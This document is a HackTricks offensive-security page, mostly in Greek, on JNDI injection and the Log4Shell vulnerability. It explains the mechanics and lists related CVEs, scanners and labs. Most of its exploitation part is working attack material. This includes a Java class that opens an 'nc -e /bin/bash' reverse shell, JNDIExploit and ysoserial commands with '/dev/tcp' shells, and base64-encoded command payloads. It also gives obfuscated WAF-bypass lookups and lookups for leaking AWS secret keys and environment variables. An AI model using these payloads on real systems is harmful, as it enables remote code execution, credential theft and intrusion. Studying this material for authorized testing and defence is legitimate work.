47 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας στα προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματοδοσίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παρόχων υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Κοινές SPIs περιλαμβάνουν CORBA COS, Java RMI Registry και LDAP.
JNDI Naming Reference
Τα αντικείμενα Java μπορούν να αποθηκευτούν και να ανακτηθούν χρησιμοποιώντας JNDI Naming References, οι οποίες έρχονται σε δύο μορφές:
- Reference Addresses: Προσδιορίζει την τοποθεσία ενός αντικειμένου (π.χ., rmi://server/ref), επιτρέποντας άμεση ανάκτηση από τη συγκεκριμένη διεύθυνση.
- Remote Factory: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση κατεβαίνει και δημιουργείται από την απομακρυσμένη τοποθεσία.
Ωστόσο, αυτός ο μηχανισμός μπορεί να εκμεταλλευτεί, ενδεχομένως οδηγώντας στη φόρτωση και εκτέλεση αυθαίρετου κώδικα. Ως αντεπίθεση:
- RMI:
java.rmi.server.useCodeabseOnly = true
από προεπιλογή από το JDK 7u21, περιορίζοντας τη φόρτωση απομακρυσμένων αντικειμένων. Ένας Security Manager περιορίζει περαιτέρω τι μπορεί να φορτωθεί. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
από προεπιλογή από το JDK 6u141, 7u131, 8u121, αποκλείοντας την εκτέλεση απομακρυσμένα φορτωμένων αντικειμένων Java. Εάν οριστεί σεtrue
, είναι δυνατή η εκτέλεση απομακρυσμένου κώδικα χωρίς την εποπτεία ενός Security Manager. - CORBA: Δεν έχει συγκεκριμένη ιδιότητα, αλλά ο Security Manager είναι πάντα ενεργός.
Ωστόσο, ο Naming Manager, υπεύθυνος για την επίλυση των συνδέσμων JNDI, στερείται ενσωματωμένων μηχανισμών ασφαλείας, επιτρέποντας ενδεχομένως την ανάκτηση αντικειμένων από οποιαδήποτε πηγή. Αυτό θέτει σε κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογών (gadgets) για την εκτέλεση κακόβουλου κώδικα.
Παραδείγματα εκμεταλλεύσιμων URL περιλαμβάνουν:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
Παρά τις προστασίες, οι ευπάθειες παραμένουν, κυρίως λόγω της έλλειψης προστατευτικών μέτρων κατά της φόρτωσης JNDI από μη αξιόπιστες πηγές και της δυνατότητας παράκαμψης των υπαρχουσών προστασιών.
JNDI Example
Ακόμα και αν έχετε ορίσει ένα PROVIDER_URL
, μπορείτε να υποδείξετε ένα διαφορετικό σε μια αναζήτηση και θα προσπελαστεί: ctx.lookup("<attacker-controlled-url>")
και αυτό είναι που θα εκμεταλλευτεί ένας επιτιθέμενος για να φορτώσει αυθαίρετα αντικείμενα από ένα σύστημα που ελέγχει.
CORBA Overview
CORBA (Common Object Request Broker Architecture) χρησιμοποιεί μια Interoperable Object Reference (IOR) για να προσδιορίσει μοναδικά απομακρυσμένα αντικείμενα. Αυτή η αναφορά περιλαμβάνει βασικές πληροφορίες όπως:
- Type ID: Μοναδικός αναγνωριστικός αριθμός για μια διεπαφή.
- Codebase: URL για την απόκτηση της κλάσης stub.
Σημειωτέον, η CORBA δεν είναι εγγενώς ευάλωτη. Η εξασφάλιση της ασφάλειας συνήθως περιλαμβάνει:
- Εγκατάσταση ενός Security Manager.
- Ρύθμιση του Security Manager για να επιτρέπει συνδέσεις σε ενδεχομένως κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:
- Άδειας socket, π.χ.,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Άδειες ανάγνωσης αρχείων, είτε καθολικά (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) είτε για συγκεκριμένους καταλόγους όπου μπορεί να τοποθετηθούν κακόβουλα αρχεία.
Ωστόσο, ορισμένες πολιτικές προμηθευτών μπορεί να είναι επιεικείς και να επιτρέπουν αυτές τις συνδέσεις από προεπιλογή.
RMI Context
Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με την CORBA, η αυθαίρετη λήψη κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κανείς το RMI, θα χρειαστεί συνήθως να παρακάμψει τον Security Manager, μια πράξη που είναι επίσης σχετική με την CORBA.
LDAP
Πρώτα απ' όλα, πρέπει να διακρίνουμε μεταξύ μιας Αναζήτησης και μιας Αναζήτησης Ονόματος.
Μια αναζήτηση θα χρησιμοποιήσει ένα URL όπως ldap://localhost:389/o=JNDITutorial
για να βρει το αντικείμενο JNDITutorial από έναν LDAP server και να ανακτήσει τα χαρακτηριστικά του.
Μια αναζήτηση ονόματος προορίζεται για υπηρεσίες ονοματοδοσίας καθώς θέλουμε να πάρουμε οτιδήποτε είναι δεσμευμένο σε ένα όνομα.
Εάν η αναζήτηση LDAP κλήθηκε με SearchControls.setReturningObjFlag() με true
, τότε το επιστρεφόμενο αντικείμενο θα ανακατασκευαστεί.
Επομένως, υπάρχουν αρκετοί τρόποι για να επιτεθεί κανείς σε αυτές τις επιλογές.
Ένας επιτιθέμενος μπορεί να δηλητηριάσει τις εγγραφές LDAP εισάγοντας payloads σε αυτές που θα εκτελούνται στα συστήματα που τις συλλέγουν (πολύ χρήσιμο για να συμβιβάσει δεκάδες μηχανές αν έχετε πρόσβαση στον LDAP server). Ένας άλλος τρόπος εκμετάλλευσης αυτού θα ήταν να εκτελέσετε μια επίθεση MitM σε μια αναζήτηση LDAP για παράδειγμα.
Σε περίπτωση που μπορείτε να κάνετε μια εφαρμογή να επιλύσει μια JNDI LDAP URL, μπορείτε να ελέγξετε τον LDAP που θα αναζητηθεί, και θα μπορούσατε να στείλετε πίσω την εκμετάλλευση (log4shell).
Deserialization exploit
Η εκμετάλλευση είναι σειριοποιημένη και θα αποσειριοποιηθεί.
Σε περίπτωση που το trustURLCodebase
είναι true
, ένας επιτιθέμενος μπορεί να παρέχει τις δικές του κλάσεις στη βάση κώδικα, αλλιώς θα χρειαστεί να εκμεταλλευτεί gadgets στο classpath.
JNDI Reference exploit
Είναι πιο εύκολο να επιτεθεί κανείς σε αυτό το LDAP χρησιμοποιώντας JavaFactory references:
Log4Shell Vulnerability
Η ευπάθεια εισάγεται στο Log4j επειδή υποστηρίζει μια ειδική σύνταξη με τη μορφή ${prefix:name}
όπου το prefix
είναι ένα από έναν αριθμό διαφορετικών Lookups όπου το name
θα πρέπει να αξιολογηθεί. Για παράδειγμα, ${java:version}
είναι η τρέχουσα εκτελούμενη έκδοση της Java.
LOG4J2-313 εισήγαγε μια δυνατότητα αναζήτησης jndi
. Αυτή η δυνατότητα επιτρέπει την ανάκτηση μεταβλητών μέσω JNDI. Συνήθως, το κλειδί προεπιλέγεται αυτόματα με το java:comp/env/
. Ωστόσο, εάν το κλειδί περιλαμβάνει ένα ":", αυτό το προεπιλεγμένο πρόθεμα δεν εφαρμόζεται.
Με ένα : παρόν στο κλειδί, όπως στο ${jndi:ldap://example.com/a}
δεν υπάρχει πρόθεμα και ο LDAP server ερωτάται για το αντικείμενο. Και αυτές οι αναζητήσεις μπορούν να χρησιμοποιηθούν τόσο στη ρύθμιση του Log4j όσο και όταν καταγράφονται γραμμές.
Επομένως, το μόνο που χρειάζεται για να αποκτήσετε RCE είναι μια ευάλωτη έκδοση του Log4j που επεξεργάζεται πληροφορίες που ελέγχονται από τον χρήστη. Και επειδή αυτή είναι μια βιβλιοθήκη που χρησιμοποιείται ευρέως από εφαρμογές Java για την καταγραφή πληροφοριών (συμπεριλαμβανομένων των εφαρμογών που είναι εκτεθειμένες στο Διαδίκτυο), ήταν πολύ συνηθισμένο να έχει το log4j να καταγράφει για παράδειγμα HTTP headers που λαμβάνονται όπως το User-Agent. Ωστόσο, το log4j δεν χρησιμοποιείται μόνο για την καταγραφή HTTP πληροφοριών αλλά οποιαδήποτε είσοδο και δεδομένα που υποδεικνύει ο προγραμματιστής.
Overview of Log4Shell-Related CVEs
CVE-2021-44228 [Critical]
Αυτή η ευπάθεια είναι μια κρίσιμη ευπάθεια μη αξιόπιστης αποσειριοποίησης στο συστατικό log4j-core
, που επηρεάζει εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει απομακρυσμένη εκτέλεση κώδικα (RCE), επιτρέποντας στους επιτιθέμενους να καταλάβουν συστήματα. Το ζήτημα αναφέρθηκε από τον Chen Zhaojun από την ομάδα ασφάλειας της Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ελλιπής. Οι κανόνες Sigma για άμυνα είναι διαθέσιμοι (Rule 1, Rule 2).
CVE-2021-45046 [Critical]
Αρχικά αξιολογήθηκε ως χαμηλή αλλά αργότερα αναβαθμίστηκε σε κρίσιμη, αυτή η CVE είναι μια ευπάθεια Άρνησης Υπηρεσίας (DoS) που προκύπτει από μια ελλιπή διόρθωση στην 2.15.0 για την CVE-2021-44228. Επηρεάζει μη προεπιλεγμένες ρυθμίσεις, επιτρέποντας στους επιτιθέμενους να προκαλέσουν επιθέσεις DoS μέσω κατασκευασμένων payloads. Ένα tweet παρουσιάζει μια μέθοδο παράκαμψης. Το ζήτημα επιλύθηκε στις εκδόσεις 2.16.0 και 2.12.2 με την αφαίρεση προτύπων αναζήτησης μηνυμάτων και την απενεργοποίηση του JNDI από προεπιλογή.
CVE-2021-4104 [High]
Επηρεάζει εκδόσεις Log4j 1.x σε μη προεπιλεγμένες ρυθμίσεις που χρησιμοποιούν JMSAppender
, αυτή η CVE είναι μια ευπάθεια μη αξιόπιστης αποσειριοποίησης. Δεν είναι διαθέσιμη διόρθωση για τον κλάδο 1.x, ο οποίος είναι εκτός υποστήριξης, και συνιστάται η αναβάθμιση στο log4j-core 2.17.0
.
CVE-2021-42550 [Moderate]
Αυτή η ευπάθεια επηρεάζει το Logback logging framework, διάδοχο του Log4j 1.x. Προηγουμένως θεωρούμενο ασφαλές, το πλαίσιο βρέθηκε ευάλωτο, και νέες εκδόσεις (1.3.0-alpha11 και 1.2.9) έχουν κυκλοφορήσει για να αντιμετωπίσουν το ζήτημα.
CVE-2021-45105 [High]
Το Log4j 2.16.0 περιέχει μια ευπάθεια DoS, οδηγώντας στην κυκλοφορία του log4j 2.17.0
για να διορθώσει την CVE. Περισσότερες λεπτομέρειες βρίσκονται στην αναφορά του BleepingComputer.
CVE-2021-44832
Επηρεάζει την έκδοση log4j 2.17, αυτή η CVE απαιτεί από τον επιτιθέμενο να ελέγχει το αρχείο ρύθμισης του log4j. Περιλαμβάνει πιθανή αυθαίρετη εκτέλεση κώδικα μέσω ενός ρυθμισμένου JDBCAppender. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην ανάρτηση του Checkmarx blog.
Log4Shell Exploitation
Discovery
Αυτή η ευπάθεια είναι πολύ εύκολη να ανακαλυφθεί αν δεν προστατεύεται, καθώς θα στείλει τουλάχιστον ένα DNS request στη διεύθυνση που υποδεικνύετε στο payload σας. Επομένως, payloads όπως:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(χρησιμοποιώντας canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(χρησιμοποιώντας interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(χρησιμοποιώντας Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(χρησιμοποιώντας dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
χρησιμοποιώντας (χρησιμοποιώντας huntress)
Σημειώστε ότι ακόμα και αν ληφθεί ένα DNS request αυτό δεν σημαίνει ότι η εφαρμογή είναι εκμεταλλεύσιμη (ή ακόμα και ευάλωτη), θα χρειαστεί να προσπαθήσετε να την εκμεταλλευτείτε.
{% hint style="info" %} Remember that to exploit version 2.15 you need to add the localhost check bypass: ${jndi:ldap://127.0.0.1#...} {% endhint %}
Local Discovery
Search for local vulnerable versions of the library with:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Επαλήθευση
Ορισμένες από τις πλατφόρμες που αναφέρθηκαν προηγουμένως θα σας επιτρέψουν να εισάγετε κάποιες μεταβλητές δεδομένων που θα καταγραφούν όταν ζητηθούν.
Αυτό μπορεί να είναι πολύ χρήσιμο για 2 πράγματα:
- Για να επαληθεύσετε την ευπάθεια
- Για να εξάγετε πληροφορίες εκμεταλλευόμενοι την ευπάθεια
Για παράδειγμα, θα μπορούσατε να ζητήσετε κάτι όπως:
ή όπως ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
και αν ληφθεί αίτημα DNS με την τιμή της μεταβλητής env, γνωρίζετε ότι η εφαρμογή είναι ευάλωτη.
Άλλες πληροφορίες που θα μπορούσατε να προσπαθήσετε να διαρρεύσετε:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE Information
{% hint style="info" %}
Οι διακομιστές που εκτελούνται σε εκδόσεις JDK άνω των 6u141, 7u131 ή 8u121 είναι προστατευμένοι από την επίθεση φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του com.sun.jndi.ldap.object.trustURLCodebase
, που εμποδίζει το JNDI να φορτώσει μια απομακρυσμένη βάση κώδικα μέσω LDAP. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι αυτές οι εκδόσεις δεν είναι προστατευμένες από την επίθεση αποσειριοποίησης.
Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να εκμεταλλευτούν ένα έμπιστο gadget μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη, καθώς αυτές οι εκδόσεις μπορούν να χειριστούν ώστε να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
Για περισσότερες πληροφορίες (όπως περιορισμούς σε RMI και CORBA vectors) ελέγξτε την προηγούμενη ενότητα Αναφοράς Ονομάτων JNDI ή https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - Marshalsec με προσαρμοσμένο payload
Μπορείτε να το δοκιμάσετε στο THM box: https://tryhackme.com/room/solar
Χρησιμοποιήστε το εργαλείο marshalsec (η έκδοση jar είναι διαθέσιμη εδώ). Αυτή η προσέγγιση δημιουργεί έναν διακομιστή παραπομπής LDAP για να ανακατευθύνει τις συνδέσεις σε έναν δευτερεύοντα διακομιστή HTTP όπου θα φιλοξενηθεί η εκμετάλλευση:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Για να προτρέψετε τον στόχο να φορτώσει έναν κώδικα reverse shell, δημιουργήστε ένα αρχείο Java με το όνομα Exploit.java
με το παρακάτω περιεχόμενο:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Συγκεντρώστε το αρχείο Java σε ένα αρχείο κλάσης χρησιμοποιώντας: javac Exploit.java -source 8 -target 8
. Στη συνέχεια, ξεκινήστε έναν HTTP server στον κατάλογο που περιέχει το αρχείο κλάσης με: python3 -m http.server
. Βεβαιωθείτε ότι ο marshalsec LDAP server αναφέρεται σε αυτόν τον HTTP server.
Ενεργοποιήστε την εκτέλεση της κλάσης exploit στον ευάλωτο web server αποστέλλοντας ένα payload που μοιάζει με:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Σημείωση: Αυτή η εκμετάλλευση εξαρτάται από τη ρύθμιση του Java για να επιτρέπει τη φόρτωση απομακρυσμένων κωδίκων μέσω LDAP. Αν αυτό δεν είναι επιτρεπτό, σκεφτείτε να εκμεταλλευτείτε μια αξιόπιστη κλάση για αυθαίρετη εκτέλεση κώδικα.
RCE - JNDIExploit
{% hint style="info" %} Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα, χρησιμοποιήστε μια διαφορετική μέθοδο για να εκμεταλλευτείτε αυτήν την ευπάθεια.
Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στη wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε. {% endhint %}
Για αυτό το παράδειγμα μπορείτε απλά να εκτελέσετε αυτόν τον ευάλωτο web server για log4shell στη θύρα 8080: https://github.com/christophetd/log4shell-vulnerable-app (στο README θα βρείτε πώς να το εκτελέσετε). Αυτή η ευάλωτη εφαρμογή καταγράφει με μια ευάλωτη έκδοση του log4shell το περιεχόμενο της κεφαλίδας HTTP αιτήματος X-Api-Version.
Στη συνέχεια, μπορείτε να κατεβάσετε το αρχείο jar JNDIExploit και να το εκτελέσετε με:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Μετά την ανάγνωση του κώδικα μόνο για μερικά λεπτά, στα com.feihong.ldap.LdapServer και com.feihong.ldap.HTTPServer μπορείτε να δείτε πώς δημιουργούνται οι LDAP και HTTP servers. Ο LDAP server θα καταλάβει ποιο payload πρέπει να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον HTTP server, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.
Στο com.feihong.ldap.gadgets μπορείτε να βρείτε ορισμένα συγκεκριμένα gadgets που μπορούν να χρησιμοποιηθούν για να εκτελέσουν την επιθυμητή ενέργεια (πιθανώς να εκτελέσουν αυθαίρετο κώδικα). Και στο com.feihong.ldap.template μπορείτε να δείτε τις διάφορες κλάσεις template που θα δημιουργήσουν τις εκμεταλλεύσεις.
Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Ορισμένες χρήσιμες είναι:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Έτσι, στο παράδειγμά μας, έχουμε ήδη αυτήν την ευάλωτη εφαρμογή docker να τρέχει. Για να την επιτεθούμε:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Όταν στέλνετε τις επιθέσεις, θα δείτε κάποια έξοδο στο τερματικό όπου εκτελέσατε το JNDIExploit-1.2-SNAPSHOT.jar.
Θυμηθείτε να ελέγξετε java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειαστείτε, μπορείτε να αλλάξετε την πόρτα των LDAP και HTTP διακομιστών.
RCE - JNDI-Exploit-Kit
Με παρόμοιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το JNDI-Exploit-Kit για να εκμεταλλευτείτε αυτήν την ευπάθεια.
Μπορείτε να δημιουργήσετε τις διευθύνσεις URL για να στείλετε στο θύμα εκτελώντας:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο παραγόμενο αντικείμενο java θα λειτουργήσει σε εργαστήρια όπως το THM solar room. Ωστόσο, αυτό δεν θα λειτουργήσει γενικά (καθώς από προεπιλογή η Java δεν είναι ρυθμισμένη να φορτώνει απομακρυσμένες βάσεις κώδικα χρησιμοποιώντας LDAP) νομίζω επειδή δεν εκμεταλλεύεται μια αξιόπιστη κλάση για να εκτελέσει αυθαίρετο κώδικα.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus είναι ένα άλλο εργαλείο για τη δημιουργία λειτουργικών συνδέσμων JNDI και παρέχει υπηρεσίες υποβάθρου ξεκινώντας RMI server, LDAP server και HTTP server.\
RCE - ysoserial & JNDI-Exploit-Kit
Αυτή η επιλογή είναι πραγματικά χρήσιμη για να επιτεθεί σε εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους. Επομένως, ysoserial θα χρησιμοποιηθεί για να δημιουργήσει σειριοποιήσεις αξιόπιστων κλάσεων που μπορούν να χρησιμοποιηθούν ως gadgets για να εκτελέσουν αυθαίρετο κώδικα (η αξιόπιστη κλάση που εκμεταλλεύεται από το ysoserial πρέπει να χρησιμοποιείται από το θύμα java πρόγραμμα ώστε να λειτουργήσει η εκμετάλλευση).
Χρησιμοποιώντας ysoserial ή ysoserial-modified μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα κατεβεί από το JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Χρησιμοποιήστε το JNDI-Exploit-Kit για να δημιουργήσετε JNDI links όπου η εκμετάλλευση θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να σερβίρετε διαφορετικές εκμεταλλεύσεις που μπορούν να παραχθούν αυτόματα από το JNDI-Exploit-Kit ή ακόμα και τα δικά σας payloads αποσυμπίεσης (παραγόμενα από εσάς ή το ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Τώρα μπορείτε εύκολα να χρησιμοποιήσετε έναν παραγόμενο σύνδεσμο JNDI για να εκμεταλλευτείτε την ευπάθεια και να αποκτήσετε ένα reverse shell στέλνοντας σε μια ευάλωτη έκδοση του log4j: ${ldap://10.10.14.10:1389/generated}
Bypasses
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Αυτόματοι Σαρωτές
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Βρείτε τοπικές ευάλωτες βιβλιοθήκες
Εργαστήρια για δοκιμή
- LogForge HTB μηχάνημα
- Try Hack Me Solar δωμάτιο
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Μετά την Εκμετάλλευση του Log4Shell
Σε αυτήν την CTF αναφορά εξηγείται καλά πώς είναι πιθανό να καταχραστεί κάποια χαρακτηριστικά του Log4J.
Η σελίδα ασφαλείας του Log4j έχει μερικές ενδιαφέρουσες προτάσεις:
Από την έκδοση 2.16.0 (για Java 8), η λειτουργία αναζητήσεων μηνυμάτων έχει αφαιρεθεί εντελώς. Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει τώρα να ενεργοποιούνται ρητά.
Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), μόνο οι συμβολοσειρές αναζητήσεων στη διαμόρφωση επεκτείνονται αναδρομικά; σε οποιαδήποτε άλλη χρήση, μόνο η αναζήτηση κορυφαίου επιπέδου επιλύεται, και οποιεσδήποτε εσωτερικές αναζητήσεις δεν επιλύονται.
Αυτό σημαίνει ότι από προεπιλογή μπορείτε να ξεχάσετε τη χρήση οποιασδήποτε εκμετάλλευσης jndi
. Επιπλέον, για να εκτελέσετε αναδρομικές αναζητήσεις πρέπει να τις έχετε ρυθμίσει.
Για παράδειγμα, σε αυτήν την CTF αυτό είχε ρυθμιστεί στο αρχείο log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Env Lookups
Στο αυτό το CTF ο επιτιθέμενος έλεγχε την τιμή του ${sys:cmd}
και χρειαζόταν να εξάγει τη σημαία από μια μεταβλητή περιβάλλοντος.
Όπως φαίνεται σε αυτή τη σελίδα στους προηγούμενους payloads υπάρχουν διάφοροι τρόποι πρόσβασης σε μεταβλητές περιβάλλοντος, όπως: ${env:FLAG}
. Σε αυτό το CTF αυτό ήταν άχρηστο αλλά μπορεί να μην είναι σε άλλα σενάρια της πραγματικής ζωής.
Exfiltration in Exceptions
Στο CTF, δεν μπορούσες να έχεις πρόσβαση στο stderr της εφαρμογής java χρησιμοποιώντας log4J, αλλά οι εξαιρέσεις του Log4J αποστέλλονται στο stdout, το οποίο εκτυπωνόταν στην εφαρμογή python. Αυτό σήμαινε ότι με την πρόκληση μιας εξαίρεσης μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για να εξάγουμε τη σημαία ήταν: ${java:${env:FLAG}}
. Αυτό λειτουργεί επειδή ${java:CTF{blahblah}}
δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:
Conversion Patterns Exceptions
Απλώς για να το αναφέρω, θα μπορούσες επίσης να εισάγεις νέα conversion patterns και να προκαλέσεις εξαιρέσεις που θα καταγραφούν στο stdout
. Για παράδειγμα:
